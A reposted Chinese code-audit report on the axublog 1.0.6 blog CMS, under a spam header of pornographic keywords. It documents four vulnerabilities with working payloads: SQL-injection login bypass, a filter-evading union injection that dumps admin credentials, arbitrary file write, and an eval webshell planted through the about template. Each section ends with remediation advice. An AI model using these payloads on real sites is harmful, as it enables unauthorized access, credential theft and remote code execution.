日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

AXUBLOG 代码审计报告

發(fā)布時(shí)間:2024/5/8 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 AXUBLOG 代码审计报告 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[ 審計(jì)信息 ]

版本:axublog1.0.6
編輯器:phpstorm
調(diào)試工具:XDEBUG、SEAY源代碼審計(jì)系統(tǒng)、Firefox、BurpSuit

漏洞一:后臺萬能密碼登陸

[ 審計(jì)方法]

動態(tài)調(diào)試

[ 漏洞原理與危害 ]

原理:SQL注入
危險(xiǎn)等級:高危

[ 漏洞分析 ]

在 ./ad/login.php 的第84行開始看到$user、$psw、$loginlong都是直接從$_POST直接傳送過來的。

function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"];setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');$tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); if(!$sql){$jieguo="<div id=redmsg>(數(shù)據(jù)庫查詢失敗!)</div>";}else{$num=mysql_num_rows($sql);if($num==0){$jieguo='<div id=redmsg>登錄失敗:賬戶或密碼錯(cuò)誤!</div>';}else{ loginpass($loginlong);$jieguo='<div id=bluemsg>登錄成功!正在前往<a href="index.php">后臺</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';@$chkmoblie=isMobile();if($chkmoblie==1){$jieguo='<div id=bluemsg>登錄成功!正在前往<a href="wap.php">后臺</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}}

在靜態(tài)審計(jì)的過程中需要追入一開始的include的文件用以檢查是否對 $_POST變量進(jìn)行過濾。但是這個(gè)比較復(fù)雜的過程可以通過使用動態(tài)調(diào)試來簡化。
在 ./ad/login.php 中第5行下斷點(diǎn)以便追蹤$_POST變量的值。

當(dāng)從登陸頁面輸入登陸的賬戶和密碼,程序便可斷在我們設(shè)置的斷點(diǎn)處。

這里沒有發(fā)現(xiàn)有對$_POST變量進(jìn)行過濾,繼續(xù)追蹤下去。
在第94行發(fā)現(xiàn)我們傳遞的數(shù)值沒有經(jīng)過過濾就直接帶入到數(shù)據(jù)庫進(jìn)行查詢,這就造成SQL注入

等執(zhí)行完流程之后發(fā)現(xiàn)登陸成功了。

[ Payload構(gòu)造 ]

構(gòu)造POST數(shù)據(jù)

user=aaa'+or+1=1+#&psw=admin&loginlong=86400

[ 修復(fù)建議 ]

  • 增加對變量的過濾,可以增加如下代碼:
  • function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"];// -------------------add-filter-code--------------if(!get_magic_quotes_gpc()){@$user=htmlentities($user,ENT_QUOTES,'utf-8');@$psw=htmlentities($psw,ENT_QUOTES,'utf-8');@$loginlong=htmlentities($loginlong,ENT_QUOTES,'utf-8');} // ------------------------------------------------setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');$tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); if(!$sql){$jieguo="<div id=redmsg>(數(shù)據(jù)庫查詢失敗!)</div>";}else{ ... (余下代碼省略)


    2. 更改數(shù)據(jù)庫交互函數(shù),使用PDO等預(yù)編譯技術(shù)

    漏洞二:前臺數(shù)字型SQL注入

    [ 審計(jì)方法]

    靜態(tài)分析

    [ 漏洞原理與危害 ]

    原理:SQL注入
    危險(xiǎn)等級:高危

    [ 漏洞分析 ]

    ./hit.php文件代碼如下:

    <?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();$g=$_GET['g'];if ($g=='arthit'){ $id=$_GET['id'];if($id!=''){$tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);$str=$row['hit'];echo 'document.write('.$str.');';} }

    在第16行和第17行都將 $id直接帶入SQL查詢,而$id是直接從 $_GET['id'] 中提取的。
    設(shè)想使用如下url進(jìn)行注入,但發(fā)現(xiàn)被攔截了

    http://localhost/test/hit.php?g=arthit&id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12

    這里被攔截的原因出自 sqlguolv() 。追入該函數(shù)看過濾的代碼:

    Function sqlguolv() {@header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法訪問!"; exit;} }

    這里嘗試使用大小寫來繞過,但是因?yàn)檎齽t函數(shù)是使用 /i ,導(dǎo)致大小寫被忽略,所以不可行。這里Thinking師傅的審計(jì)文章里有提到:

    sqlguolv()函數(shù)中對字符串進(jìn)行檢測的方式是從 $_SERVER['QUERY_STRING'] 中提取請求的字符串,并且不會對URL編碼進(jìn)行解碼。
    但是在 hit.php 中對參數(shù)的賦值是從$_GET中提取的,而GET方法會對URL進(jìn)行一次解碼
    因此過濾可以被繞過。

    [ Payload構(gòu)造 ]

    構(gòu)造URL:

    http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12


    獲取管理員的賬號密碼

    http://localhost/test/hit.php?g=arthit&id=-1%20+%55NION+ALL+%53ELECT+1,2,3,4,5,6,concat(adnaa,'|',adpss),8,9,10,11,12%20from%20axublog_adusers

    [ 修復(fù)建議 ]

  • 加強(qiáng)sqlguolv()的功能,針對 $_SERVER['QUERY_STRING']不對URL進(jìn)行解碼的問題進(jìn)行修復(fù),即增加解碼的步驟并完善正則匹配的關(guān)鍵字。
  • //c_other.phpFunction sqlguolv() {@header("Content-type:text/html; charset=utf-8");//---------------fix-part---------------$checkpara = '/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|concat|\^|preg|like|substr|\(|\)/i';$_SERVER['QUERY_STRING'] = urldecode($_SERVER['QUERY_STRING']);if (preg_match($checkpara,$_SERVER['QUERY_STRING'])==1 or preg_match($checkpara,file_get_contents("php://input"))==1){echo "警告 非法訪問!";exit;}//--------------------------------------

    }

  • 針對此處的漏洞進(jìn)行修復(fù):此處漏洞是數(shù)字型,所以直接對id進(jìn)行強(qiáng)制轉(zhuǎn)換成int型再帶入查詢。
  • //hit.php if ($g=='arthit'){ $id=$_GET['id'];if($id!=''){//-----------fix-code--------------------------$id = intval($id);//---------------------------------------------$tab=$tabhead."arts";mysql_select_db($tab);$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);$sql = mysql_query("select * from ".$tab." where id=".$id);$row=mysql_fetch_array($sql);$str=$row['hit'];echo 'document.write('.$str.');';}

    }

    3、使用預(yù)編譯技術(shù)和數(shù)據(jù)庫進(jìn)行交互。

    三、任意文件上傳

    [ 審計(jì)方法]

    靜態(tài)分析

    [ 漏洞原理與危害 ]

    原理:因?yàn)閷魅氲膮?shù)控制不嚴(yán)格導(dǎo)致任意文件上傳可getshell。
    危險(xiǎn)等級:高危

    [ 漏洞分析 ]

    在 ./ad/theme.php 的第186行有如下代碼:

    <?php function edit2save(){ global $themepath; ?> <div class="yj_green" id=full> <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b> <div class="boxcontent"> <h2><a href="?">主題管理</a> > <a href="javascript:history.go(-2)">編輯主題</a> > 編輯文件 > <a href="javascript:history.back()">返回</a></h2> </div> <div class="t1"><div class="t2"> <?php $path=$_REQUEST['path']; $content=stripslashes($_REQUEST['content']); ?> <p>編輯文件:<?=$path?></p> <?php if($path==''){echo'文件路徑錯(cuò)誤!';exit;}if(file_put_contents ($path, $content)){echo"保存文件成功!";} else{echo"保存文件失敗!";} ?>

    該部分是對傳入的$content的內(nèi)容寫入$path所指定的文件中。但是在寫入的過程中沒有對$content進(jìn)行過濾,所以可以在$content中傳入惡意代碼。

    再查找該函數(shù)所調(diào)用的地方,一共是有兩處:

    第一處在app.php的第18行;
    第二處是在theme.php的第15行,在switch語句的分支內(nèi):

    兩處使用方法都一樣。

    [ Payload構(gòu)造 ]

    POST /test/ad/theme.php?g=edit2save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Length: 48path=../evil.php&content=<?php phpinfo(); ?>


    寫webshell也類似,就不再貼圖了。

    [ 修復(fù)建議 ]

  • 針對本主題而言,調(diào)用edit2save的函數(shù)功能點(diǎn)僅僅是編輯about頁面:
  • 其頁面的地址也是固定的:所以直接在后臺寫死或者在后臺對傳遞來的path做校驗(yàn)。
    從theme.php的第195行開始

    <?php $path=$_REQUEST['path']; //------fix-code----------- if ($path != '../theme/default/about.mb'){echo 'about.mb地址不正確';exit ; } //--------------------------- $content=stripslashes($_REQUEST['content']); ?> <p>編輯文件:<?=$path?></p> <?php if($path==''){echo'文件路徑錯(cuò)誤!';echo $path;exit; }

    四、后臺生成about頁面getshell

    [ 審計(jì)方法]

    靜態(tài)分析

    [ 漏洞原理與危害 ]

    原理:因?yàn)樵谏蒩bout的時(shí)候調(diào)用了ob_get_contents函數(shù)來執(zhí)行about.mb里面的php語句,而沒有做應(yīng)有的檢查所以導(dǎo)致可以寫入webshell。
    危險(xiǎn)等級:高危

    [ 漏洞分析 ]

    在./ad/html.php 的第694行有如下代碼:

    ob_start(); include($mb); $html = ob_get_contents (); ob_clean(); $html=mbreplace($html); file_put_contents ($cache, $html);echo '生成about.html成功: <a target=blank href="'.$cache.'">訪問</a>'; ?>

    這個(gè)地方實(shí)際上就是把a(bǔ)bout.mb包含進(jìn)來之后執(zhí)行其內(nèi)部的php語句,然后再將一些標(biāo)簽替換成變量的值,最后把處理的結(jié)果放入$cache變量中再將其寫入aout.html頁面。雖然最后生成的頁面是靜態(tài)的,但是依舊不會阻止getshell的腳步。

    [ payload構(gòu)造 ]

    思路一:用 file_get_content函數(shù)寫入webshell:
    在about.mb尾部添加如下代碼:

    <?php file_put_contents('../shell.php','<?php @eval($_GET["a"]); ?>'); ?>

    然后點(diǎn)擊生成about頁面,就可以看到目錄下生成了webshell

    然后訪問:

    http://localhost/test/shell.php?a=phpinfo();

    思路二:通過類似方法,使用system函數(shù)執(zhí)行反彈腳本的語句。

    [ 修復(fù)意見 ]

  • 對about.mb的內(nèi)容進(jìn)行檢測,匹配是否存在file_put_contents,call_user_func,eval,assert,system等容易造成危險(xiǎn)的函數(shù),若有就報(bào)錯(cuò)并結(jié)束流程。
  • 總結(jié)

    以上是生活随笔為你收集整理的AXUBLOG 代码审计报告的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。